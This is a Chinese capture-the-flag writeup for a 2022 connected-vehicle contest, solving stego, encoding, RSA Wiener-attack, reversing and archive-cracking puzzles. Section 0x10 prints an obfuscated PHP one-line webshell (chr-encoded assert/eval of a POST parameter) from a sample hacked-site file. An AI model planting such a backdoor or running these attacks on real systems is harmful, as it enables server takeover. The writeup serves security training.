Contents

2022 CICV智能网联汽车漏洞挖掘赛Writeup–BinX4

0x00 仔细看图片

图片用010打开发现有PK,也就是说包含压缩包,用foremost解出来,解压得到两个png文件,但其实都是zip。

flag3有密码,flag1解压得到hint,密码是4位,爆破得到6666,解压得到realflag的图片,使用stegsolve查看发现是lsb隐写。

0x01 图片仔细看

补文件头,ocr识别flag。

0x02 简单的流量分析

在pcapang导出secret.png,可以发现密码是9527。

拼接二维码,得到BASE Family Bucket ??? 85->64->85->16->32

将编码后的flag反着顺序解即可。

1
GM4TMRBUII3EMMZVGM4TIQJUIMZTGNBZGQYDGOBWGY3DCMZSGNBTINJTGI2DANKGGNBTKRJXGEZDKMRUGM4TMOJUIY2TGNZRGQYDKMRVHEZTMMRWGQYDKNRUII3DINKDGNBTMMRWGIZTMMRSGM4DKMZXGE2DAMSGGM4TMOJWIIZDQNJVGM4TIRJTIU2TGNCBGM4TKMBVIIZECNRZGNBTIOBWG42TGNRY

0x03 解析音频

slienteye导出flag.txt

U2FsdGVkX1/ZEFKooGZ4A22yxGmim1eB4vd9WpPhd//5+gaGmmntCgvb1GRoIVyc

RC4.txt里面的内容是社会核心价值观编码,解码得到!@#$123

文明民主自由富强文明和谐文明自由和谐民主和谐文明和谐和谐

http://tools.jb51.net/password/rc4_encode进行解码即可得到flag。

0x04 ECU里的秘密2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from secret import flag
from Crypto.Util.number import *


def str_to_num(s):
    hex_str = ""
    for i in s:
        hex_str += str(hex(ord(i))).lstrip("0x")

    hex_str = "0x" + hex_str
    return int(hex_str, 16)


m = str_to_num(flag)

p = getPrime(512)
q = getPrime(512)
N = p * q
phi = (p - 1) * (q - 1)
while True:
    d = getRandomNBitInteger(200)
    if GCD(d, phi) == 1:
        e = inverse(d, phi)
        break

c = pow(m, e, N)

print(c, e, N, sep='\n')

# 96584061026622286545063291472705181084679814412466522587332144648224314426683416287931941578413761077731726929424331173278337209260050307977205606452443160420855302024555391000793908017297496869820804390143456078669337507653382366071312278105951084198007936575990063383671858795989636957929380428362598898072
# 11740351751510047446998714931350993714396628211280864776110365123347173396583484316711458774029527500611296039150039564763614020683799796903523006439087198226393520091053520335273342829170104532491355478575580428692888260006028265274689967321629212892513652812670695278373844528403181961613120252670745571053
# 123438036035406535460511166374496077384102026741092288198344700861685906636796768225396940612586706260451017163138041088510652554400234468565585667747104196712115968244305594612024378291259754742916440514116686940788878250978559510464853412265657110705149547843302525328641075595384934547819346900278850047889

e很大,明显是维纳攻击

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import  RSAwienerHacker
import hashlib
from Crypto.Util.number import *
e= 11740351751510047446998714931350993714396628211280864776110365123347173396583484316711458774029527500611296039150039564763614020683799796903523006439087198226393520091053520335273342829170104532491355478575580428692888260006028265274689967321629212892513652812670695278373844528403181961613120252670745571053
n= 123438036035406535460511166374496077384102026741092288198344700861685906636796768225396940612586706260451017163138041088510652554400234468565585667747104196712115968244305594612024378291259754742916440514116686940788878250978559510464853412265657110705149547843302525328641075595384934547819346900278850047889
c = 96584061026622286545063291472705181084679814412466522587332144648224314426683416287931941578413761077731726929424331173278337209260050307977205606452443160420855302024555391000793908017297496869820804390143456078669337507653382366071312278105951084198007936575990063383671858795989636957929380428362598898072

d =  RSAwienerHacker.hack_RSA(e,n)
m = pow(c,d,n)

flag = long_to_bytes(m)
print flag

0x05 细心

改后缀名为zip,解压在media里面看到一个可疑的二维码,扫描得到flag。

0x06 眼见为实吗?

改后缀名为zip,在word/document.xml发现flag

0x07 图片不见了

根据wsxdrfvtgbuhb85799zsedcftgb猜测是键盘密码,wv85799m,解压得到一张图片,010打开在文件尾部发现flag。

0x08 不要乱安装运行文件

用ig搜索目录下的flag字符串

搜到两个flag,由于其中一个flag和前面的题目重复了,所以只需要提交另一个就可以。

0x09 这是一个控车说明文档吗?

分析判断doc文件实为rar,且存在密码,拿到LostMyPass网站上跑密码,得到123456。

解压得到flag。

0x0A 串口的秘密

1.Enter Serial 函数定位关键函数sub_400D48

2.Ida 反汇编进入函数 sub_400D48

3.使if 判断不成立

得出字符串 a 为 a = [‘T’, ‘z’, ’e’, ‘y’, ‘7’, ‘-’, ’d’, ‘r’, ‘F’, ‘L’, ‘T’, ‘-’, ‘c’, ’t’, ‘f’, ‘g’, ‘H’, ‘5’, ‘-’, ‘p’, ‘u’, ‘T’, ‘F’, ‘6’, ‘Y’]

v9与字符串a异或更新 v9的值

解密脚本

a = ['T', 'z', 'e', 'y', '7', '-', 'd', 'r', 'F', 'L', 'T', '-',\
     'c', 't', 'f', 'g', 'H', '5', '-', 'p', 'u', 'T', 'F', '6', 'Y']
v1 = [0]*4

v1[0] = b'\xFE\xC4\xA6\xF9\xE4\xF8\xB1\xD9'
v1[1] = b'\xD2\xAB\xA6\xF0\xE6\x9A\xC1\x8A'
v1[2] = b'\x9D\xDA\xC0\xE9\xFB\xEA\x82\xF5'
v1[3] = b'\xCC'

b = v1[0][::-1]+v1[1][::-1]+v1[2][::-1]+v1[3]
b = list(b)
c = [0]*25

for i in range(len(a)):
    c[i] = ord(a[i])^ (~(b[i])%256)

print(''.join(chr(i) for i in c))

0x0B 文件加解密

Key.html 提取flag值

Hex解密得 jsfuck代码

Jsfuck解密得到 js代码

Base64解密PHNyY2lwdD5hbGVydCgiZmxhZ3s2NmI4YzRkMDFjMzI2NDljZTZkMzU0NzkwMTg5OGE4NX0iKTwvc2NyaXB0Pg<srcipt>alert("flag{66b8c4d01c32649ce6d3547901898a85}")</script>

0x0C 控车密码完了

Jeb反编译apk文件,定位如下关键代码,找到相应字符串,编码解出flag

0x0D 最长的套路

树的直径(最长路径)证明:https://www.cnblogs.com/wuyiqi/archive/2012/04/08/2437424.html

#处理html部分
from bs4 import BeautifulSoup
from collections import deque
import re

with open("Maze.html", "r") as file:
    html_doc = file.read()
soup = BeautifulSoup(html_doc, 'html.parser')
lattice = soup.find_all('td')
pattern = re.compile(r'border-([a-z]+):')
maze = []
for j in range(100):
    temp1 = []
    for i in range(j * 100, j * 100 + 100):
        temp = ""
        result = pattern.findall(str(lattice[i]))
        print(result)
        if 'top' not in result:
            temp += "u"
        if 'bottom' not in result:
            temp += "d"
        if 'right' not in result:
            temp += "r"
        if 'left' not in result:
            temp += "l"
        temp1.append(temp)
    maze.append(temp1)

move = {'u': (-1, 0), 'd': (1, 0), 'l': (0, -1), 'r': (0, 1)}
queue = deque()
queue.append(((70,22), 0))
visited = []
ans = 0
ansv = ()
while queue:
    v, res = queue.popleft()
    if res > ans:
        ans = res
        ansv = v
    if v not in visited:
        visited.append(v)
        for adj in maze[v[0]][v[1]]:
            queue.append(((v[0] + move[adj][0], v[1] + move[adj][1]), res + 1))
print(ansv, ans)

结果最长路径为4056

0x0E 签到2

根据图片中信号格式,可以看出这是一个UART协议的信号,根据UART协议的说明,我们可以将信号分为1位低电平起始位,8位数据位和1位高电平停止位,由此把数据分成若干组,如下图记录。

连接起来便是一串数字,经过数据翻转和二进制转换后,可以得到flag。

1
01100110001101101000011011100110110111100001110001000110110011001000011011000110111011000110110000101100011001101001110010101100111011000001110010011100011011000100110010100110110001100000110000011100001011001000011001001100001011001100011001000110110001101001110010001100101001101010011010011100101111101011000001010000

0x0F wav音频的故事2

下载音频后,可以放进audacity中进行观察,发现这段音频每隔几秒会有一段数据,看频谱图可以发现这段数据有的存在红线,而有的没有红线。可以猜测这可能是一个摩斯密码,频谱的红线用来区分.和-,因此可以把密码记录下来。

1
-----.- ----. ..... ....- ...-- ---.. ..--- .- -.... -.. -.-. -.-. ..-. --... -.. --... .- ----. ----. ...-- ..... .---- ..--- .---- ..... ....- -.... --... ..--- -.-. -.. .---- ..-. ----.-- --. .- .-.. ..-.

解密码,但是翻转一下就得到flag。

0x10 web网站被黑了

下载文件发现是个PHP,里面有很多字符,转换发现这是个一句话木马,里面的连接密码是a,a加密md5为flag。

1
2
3
4
<script langukeye=php>
$_1=chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
@$_1(chr(64).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(97).chr(93).chr(41).chr(59));
</script>

0x11 图片不见了

观察流量包,试着导出HTTP对象,发现一个奇怪的文件。

追踪这个流量可以发现百度网盘的资源地址,https://pan.baidu.com/s/1TV3hZK5kqLx3uxcYn0EyMw?pwd=7p61,下载后得到一张知乎图片,丢进Stegsolve,检查LSB隐写的时候可以发现nslookup,md5加密为flag。

0x12 补个成绩

纯纯靠车神的案例带飞,又是摆烂的一天。